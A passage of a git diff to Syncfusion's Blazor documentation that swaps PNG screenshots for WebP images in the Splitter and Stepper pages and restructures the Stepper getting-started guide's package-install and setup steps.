Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-fixed-pane-size-in-pixel.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-horizontal-orientation.png b/blazor/splitter/images/blazor-splitter-horizontal-orientation.png
deleted file mode 100644
index b351266497..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-horizontal-orientation.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-horizontal-orientation.webp b/blazor/splitter/images/blazor-splitter-horizontal-orientation.webp
new file mode 100644
index 0000000000..5e21608f90
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-horizontal-orientation.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-other-components.png b/blazor/splitter/images/blazor-splitter-other-components.png
deleted file mode 100644
index 385cab17fc..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-other-components.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-other-components.webp b/blazor/splitter/images/blazor-splitter-other-components.webp
new file mode 100644
index 0000000000..489b374e56
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-other-components.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-plain-content.png b/blazor/splitter/images/blazor-splitter-plain-content.png
deleted file mode 100644
index 28deef4a7e..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-plain-content.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-plain-content.webp b/blazor/splitter/images/blazor-splitter-plain-content.webp
new file mode 100644
index 0000000000..98590b1472
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-plain-content.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-prevent-resizing.png b/blazor/splitter/images/blazor-splitter-prevent-resizing.png
deleted file mode 100644
index b8506bcd34..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-prevent-resizing.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-prevent-resizing.webp b/blazor/splitter/images/blazor-splitter-prevent-resizing.webp
new file mode 100644
index 0000000000..6137a06aff
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-prevent-resizing.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-resize-icon-template.png b/blazor/splitter/images/blazor-splitter-resize-icon-template.png
deleted file mode 100644
index b0075549b1..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-resize-icon-template.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-resize-icon-template.webp b/blazor/splitter/images/blazor-splitter-resize-icon-template.webp
new file mode 100644
index 0000000000..5c0a79b897
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-resize-icon-template.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-separator.png b/blazor/splitter/images/blazor-splitter-separator.png
deleted file mode 100644
index 10be78aace..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-separator.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-separator.webp b/blazor/splitter/images/blazor-splitter-separator.webp
new file mode 100644
index 0000000000..9e9c843f57
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-separator.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-size.png b/blazor/splitter/images/blazor-splitter-size.png
deleted file mode 100644
index 09fbbdee35..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-size.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-size.webp b/blazor/splitter/images/blazor-splitter-size.webp
new file mode 100644
index 0000000000..cbdfec8138
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-size.webp differ
diff --git a/blazor/splitter/images/blazor-splitter-vertical-orientation.png b/blazor/splitter/images/blazor-splitter-vertical-orientation.png
deleted file mode 100644
index 431d7be2cc..0000000000
Binary files a/blazor/splitter/images/blazor-splitter-vertical-orientation.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter-vertical-orientation.webp b/blazor/splitter/images/blazor-splitter-vertical-orientation.webp
new file mode 100644
index 0000000000..54c45d1bed
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter-vertical-orientation.webp differ
diff --git a/blazor/splitter/images/blazor-splitter.png b/blazor/splitter/images/blazor-splitter.png
deleted file mode 100644
index 04e6f692a2..0000000000
Binary files a/blazor/splitter/images/blazor-splitter.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-splitter.webp b/blazor/splitter/images/blazor-splitter.webp
new file mode 100644
index 0000000000..779b82f46e
Binary files /dev/null and b/blazor/splitter/images/blazor-splitter.webp differ
diff --git a/blazor/splitter/images/blazor-wasm-app-template.png b/blazor/splitter/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/splitter/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/splitter/images/blazor-wasm-app-template.webp b/blazor/splitter/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/splitter/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/splitter/images/remove-pane.png b/blazor/splitter/images/remove-pane.png
deleted file mode 100644
index 40409317dc..0000000000
Binary files a/blazor/splitter/images/remove-pane.png and /dev/null differ
diff --git a/blazor/splitter/images/remove-pane.webp b/blazor/splitter/images/remove-pane.webp
new file mode 100644
index 0000000000..f1621965a3
Binary files /dev/null and b/blazor/splitter/images/remove-pane.webp differ
diff --git a/blazor/splitter/images/selector-content.png b/blazor/splitter/images/selector-content.png
deleted file mode 100644
index dfdaa202ae..0000000000
Binary files a/blazor/splitter/images/selector-content.png and /dev/null differ
diff --git a/blazor/splitter/images/selector-content.webp b/blazor/splitter/images/selector-content.webp
new file mode 100644
index 0000000000..ac51a3e4e6
Binary files /dev/null and b/blazor/splitter/images/selector-content.webp differ
diff --git a/blazor/splitter/images/splitter-output.png b/blazor/splitter/images/splitter-output.png
deleted file mode 100644
index e3f640a287..0000000000
Binary files a/blazor/splitter/images/splitter-output.png and /dev/null differ
diff --git a/blazor/splitter/images/splitter-output.webp b/blazor/splitter/images/splitter-output.webp
new file mode 100644
index 0000000000..832c2f9a17
Binary files /dev/null and b/blazor/splitter/images/splitter-output.webp differ
diff --git a/blazor/splitter/pane-content.md b/blazor/splitter/pane-content.md
index 1988f2a899..e3cfc0629f 100644
--- a/blazor/splitter/pane-content.md
+++ b/blazor/splitter/pane-content.md
@@ -62,7 +62,7 @@ Splitter is a layout based container component. The pane contents can be rendere
 
 ```
 
-![Blazor Splitter Content with HTML Markup](./images/blazor-splitter-content-html-markup.png)
+![Blazor Splitter Content with HTML Markup](./images/blazor-splitter-content-html-markup.webp)
 
 ## Blazor UI components
 
@@ -114,7 +114,7 @@ The plain text can be added as a pane contents using either inner HTML or `Conte
 
 ```
 
-![Blazor Splitter with Plain Content](./images/blazor-splitter-plain-content.png)
+![Blazor Splitter with Plain Content](./images/blazor-splitter-plain-content.webp)
 
 ## Integrate other Blazor component inside the pane of the Splitter
 
@@ -226,4 +226,4 @@ Other SplitterContent.razor page.
 
 ```
 
-![Blazor Splitter with Other Components](./images/blazor-splitter-other-components.png)
\ No newline at end of file
+![Blazor Splitter with Other Components](./images/blazor-splitter-other-components.webp)
\ No newline at end of file
diff --git a/blazor/splitter/pane-sizing.md b/blazor/splitter/pane-sizing.md
index 9c8888d35b..9be75916c9 100644
--- a/blazor/splitter/pane-sizing.md
+++ b/blazor/splitter/pane-sizing.md
@@ -62,7 +62,7 @@ using Syncfusion.Blazor.Layouts
 
 ```
 
-![Blazor Splitter with Auto sizing Panes](./images/auto-sizing-panes.png)
+![Blazor Splitter with Auto sizing Panes](./images/auto-sizing-panes.webp)
 
 ## Fixed pane
 
@@ -102,7 +102,7 @@ The split panes can be rendered with fixed size in both `Horizontal` and `Vertic
 
 ```
 
-![Blazor Splitter with Fixed Pane Size in Pixel](./images/blazor-splitter-fixed-pane-size-in-pixel.png)
+![Blazor Splitter with Fixed Pane Size in Pixel](./images/blazor-splitter-fixed-pane-size-in-pixel.webp)
 
 Splitter pane Size in `Percentage`.
 
@@ -132,4 +132,4 @@ Splitter pane Size in `Percentage`.
 
 ```
 
-![Blazor Splitter with Fixed Pane Size in Percentage](./images/blazor-splitter-fixed-pane-size-in-percentage.png)
\ No newline at end of file
+![Blazor Splitter with Fixed Pane Size in Percentage](./images/blazor-splitter-fixed-pane-size-in-percentage.webp)
\ No newline at end of file
diff --git a/blazor/splitter/resize-icon-template.md b/blazor/splitter/resize-icon-template.md
index c373219214..67d14f63cc 100644
--- a/blazor/splitter/resize-icon-template.md
+++ b/blazor/splitter/resize-icon-template.md
@@ -43,4 +43,4 @@ The Splitter allows to customize the resize icon of the separator using the temp
 
 ```
 
-![Blazor Splitter with Resize Icon Template](./images/blazor-splitter-resize-icon-template.png)
\ No newline at end of file
+![Blazor Splitter with Resize Icon Template](./images/blazor-splitter-resize-icon-template.webp)
\ No newline at end of file
diff --git a/blazor/splitter/resizing.md b/blazor/splitter/resizing.md
index f6c4537b3f..f511e8870f 100644
--- a/blazor/splitter/resizing.md
+++ b/blazor/splitter/resizing.md
@@ -66,7 +66,7 @@ Splitter allows to set the minimum and maximum sizes for each pane. Resizing wil
 
 ```
 
-![Changing Blazor Splitter Size](./images/blazor-splitter-size.png)
+![Changing Blazor Splitter Size](./images/blazor-splitter-size.webp)
 
 ## Prevent resizing
 
@@ -121,7 +121,7 @@ N> Splitter resizing will be enabled only when the target of the adjacent pane's
 
 ```
 
-![Prevent Resizing in Blazor Splitter](./images/blazor-splitter-prevent-resizing.png)
+![Prevent Resizing in Blazor Splitter](./images/blazor-splitter-prevent-resizing.webp)
 
 ## Refresh content on resizing
 
@@ -188,7 +188,7 @@ The resize gripper icon and cursor can be customized in css level.
 
 ```
 
-![Blazor Splitter with Custom Gripper](./images/blazor-splitter-custom-gripper.png)
+![Blazor Splitter with Custom Gripper](./images/blazor-splitter-custom-gripper.webp)
 
 ## See Also
 
diff --git a/blazor/splitter/split-panes.md b/blazor/splitter/split-panes.md
index fc44e9554f..785502ee84 100644
--- a/blazor/splitter/split-panes.md
+++ b/blazor/splitter/split-panes.md
@@ -62,7 +62,7 @@ By default, splitter will be rendered in horizontal orientation. Splitter contai
 
 ```
 
-![Blazor Splitter with Horizontal Orientation](./images/blazor-splitter-horizontal-orientation.png)
+![Blazor Splitter with Horizontal Orientation](./images/blazor-splitter-horizontal-orientation.webp)
 
 ## Vertical layout
 
@@ -115,7 +115,7 @@ By setting value to `Orientation` API as `Vertical`, splitter will be rendered i
 
 ```
 
-![Blazor Splitter with Vertical Orientation](./images/blazor-splitter-vertical-orientation.png)
+![Blazor Splitter with Vertical Orientation](./images/blazor-splitter-vertical-orientation.webp)
 
 N> Multiple panes can also be rendered in splitter with both `Horizontal/Vertical` orientations.
 
@@ -172,7 +172,7 @@ N> For horizontal orientation, it will be considered as separator width. For ver
 
 ```
 
-![Blazor Splitter with Separator](./images/blazor-splitter-separator.png)
+![Blazor Splitter with Separator](./images/blazor-splitter-separator.webp)
 
 ## Nested Splitter
 
@@ -248,7 +248,7 @@ N> Also the nested splitter can be rendered using direct child of the splitter p
 
 ```
 
-![Blazor Nested Splitter](./images/blazor-nested-splitter.png)
+![Blazor Nested Splitter](./images/blazor-nested-splitter.webp)
 
 ## Add or remove pane
 
diff --git a/blazor/splitter/two-way-binding.md b/blazor/splitter/two-way-binding.md
index 4f127e4cf0..cb849d7ed7 100644
--- a/blazor/splitter/two-way-binding.md
+++ b/blazor/splitter/two-way-binding.md
@@ -48,7 +48,7 @@ In the following example, if either the value is changed in checkbox or splitter
 
 ```
 
-![Data Binding in Blazor Splitter](./images/blazor-splitter-data-binding.png)
+![Data Binding in Blazor Splitter](./images/blazor-splitter-data-binding.webp)
 
 ## See Also
 
diff --git a/blazor/stepper/animation.md b/blazor/stepper/animation.md
index bf2197362f..5a240a470a 100644
--- a/blazor/stepper/animation.md
+++ b/blazor/stepper/animation.md
@@ -33,4 +33,4 @@ The example demonstrates the animation `Duration` and `Delay` settings for the S
 </SfStepper>
 ```
 
-![Blazor Stepper Component with Animation](./images/Blazor-animation.png)
\ No newline at end of file
+![Blazor Stepper Component with Animation](./images/Blazor-animation.webp)
\ No newline at end of file
diff --git a/blazor/stepper/getting-started-webapp.md b/blazor/stepper/getting-started-webapp.md
index 81bcba3170..a169a6ad19 100644
--- a/blazor/stepper/getting-started-webapp.md
+++ b/blazor/stepper/getting-started-webapp.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Navigations
+
 <SfStepper>
     <StepperSteps>
         <StepperStep></StepperStep>
@@ -191,6 +193,8 @@ You can define the step icon and label by setting the `IconCss` and `Label` prop
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Navigations
+
 <SfStepper>
     <StepperSteps>
         <StepperStep Label="Cart" IconCss="sf-icon-cart"></StepperStep>
@@ -241,6 +245,6 @@ You can define the step icon and label by setting the `IconCss` and `Label` prop
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjBzZsKNpJRTvqSH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stepper with Icon and Label](./images/blazor-iconwithlabel.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjBzZsKNpJRTvqSH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stepper with Icon and Label](./images/blazor-iconwithlabel.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Stepper).
\ No newline at end of file
diff --git a/blazor/stepper/getting-started.md b/blazor/stepper/getting-started.md
index a8ea9e3b71..76245061c4 100644
--- a/blazor/stepper/getting-started.md
+++ b/blazor/stepper/getting-started.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Stepper Component
 
-This section briefly explains about how to include [Blazor Stepper](https://www.syncfusion.com/blazor-components/blazor-stepper) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Stepper](https://www.syncfusion.com/blazor-components/blazor-stepper) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -23,23 +23,6 @@ This section briefly explains about how to include [Blazor Stepper](https://www.
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
-
-To add the **Blazor Stepper** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -52,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -65,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Navigations -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -103,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -114,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
+{% endtabcontent %}
 
-To add the **Blazor Stepper** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
-
-{% endtabcontents %}
+## Add import namespaces
 
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Navigations` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Navigations` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -147,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -173,24 +129,28 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/material3.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Stepper component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Stepper component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Navigations
+
+@using Syncfusion.Blazor.Navigations
 
 <SfStepper>
     <StepperSteps>
@@ -214,7 +174,9 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Stepper componen
 You can define the step icon and label by setting the `IconCss` and `Label` properties using `StepperStep` tag directive.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Navigations
 
 <SfStepper>
     <StepperSteps>
@@ -266,6 +228,6 @@ You can define the step icon and label by setting the `IconCss` and `Label` prop
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjBzZsKNpJRTvqSH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stepper with Icon and Label](./images/blazor-iconwithlabel.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjBzZsKNpJRTvqSH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stepper with Icon and Label](./images/blazor-iconwithlabel.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Stepper).
\ No newline at end of file
diff --git a/blazor/stepper/images/Blazor-Readonly.png b/blazor/stepper/images/Blazor-Readonly.png
deleted file mode 100644
index 334c67a95e..0000000000
Binary files a/blazor/stepper/images/Blazor-Readonly.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-Readonly.webp b/blazor/stepper/images/Blazor-Readonly.webp
new file mode 100644
index 0000000000..ddbe40ed3d
Binary files /dev/null and b/blazor/stepper/images/Blazor-Readonly.webp differ
diff --git a/blazor/stepper/images/Blazor-activeStep.png b/blazor/stepper/images/Blazor-activeStep.png
deleted file mode 100644
index 8ffb377355..0000000000
Binary files a/blazor/stepper/images/Blazor-activeStep.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-activeStep.webp b/blazor/stepper/images/Blazor-activeStep.webp
new file mode 100644
index 0000000000..db71d74ec4
Binary files /dev/null and b/blazor/stepper/images/Blazor-activeStep.webp differ
diff --git a/blazor/stepper/images/Blazor-animation.png b/blazor/stepper/images/Blazor-animation.png
deleted file mode 100644
index fab904db21..0000000000
Binary files a/blazor/stepper/images/Blazor-animation.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-animation.webp b/blazor/stepper/images/Blazor-animation.webp
new file mode 100644
index 0000000000..a650b661f5
Binary files /dev/null and b/blazor/stepper/images/Blazor-animation.webp differ
diff --git a/blazor/stepper/images/Blazor-cssclass.png b/blazor/stepper/images/Blazor-cssclass.png
deleted file mode 100644
index 3f1276a05c..0000000000
Binary files a/blazor/stepper/images/Blazor-cssclass.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-cssclass.webp b/blazor/stepper/images/Blazor-cssclass.webp
new file mode 100644
index 0000000000..6b4ef6dc45
Binary files /dev/null and b/blazor/stepper/images/Blazor-cssclass.webp differ
diff --git a/blazor/stepper/images/Blazor-default-type.png b/blazor/stepper/images/Blazor-default-type.png
deleted file mode 100644
index f305b4f1b8..0000000000
Binary files a/blazor/stepper/images/Blazor-default-type.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-default-type.webp b/blazor/stepper/images/Blazor-default-type.webp
new file mode 100644
index 0000000000..1c829242c1
Binary files /dev/null and b/blazor/stepper/images/Blazor-default-type.webp differ
diff --git a/blazor/stepper/images/Blazor-disabled.png b/blazor/stepper/images/Blazor-disabled.png
deleted file mode 100644
index a4fdf7ee59..0000000000
Binary files a/blazor/stepper/images/Blazor-disabled.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-disabled.webp b/blazor/stepper/images/Blazor-disabled.webp
new file mode 100644
index 0000000000..4459bbfa63
Binary files /dev/null and b/blazor/stepper/images/Blazor-disabled.webp differ
diff --git a/blazor/stepper/images/Blazor-horizontal.png b/blazor/stepper/images/Blazor-horizontal.png
deleted file mode 100644
index 368772b5c9..0000000000
Binary files a/blazor/stepper/images/Blazor-horizontal.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-horizontal.webp b/blazor/stepper/images/Blazor-horizontal.webp
new file mode 100644
index 0000000000..bae1b35e54
Binary files /dev/null and b/blazor/stepper/images/Blazor-horizontal.webp differ
diff --git a/blazor/stepper/images/Blazor-indicator.png b/blazor/stepper/images/Blazor-indicator.png
deleted file mode 100644
index 9b1ce510aa..0000000000
Binary files a/blazor/stepper/images/Blazor-indicator.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-indicator.webp b/blazor/stepper/images/Blazor-indicator.webp
new file mode 100644
index 0000000000..efa9a82ff0
Binary files /dev/null and b/blazor/stepper/images/Blazor-indicator.webp differ
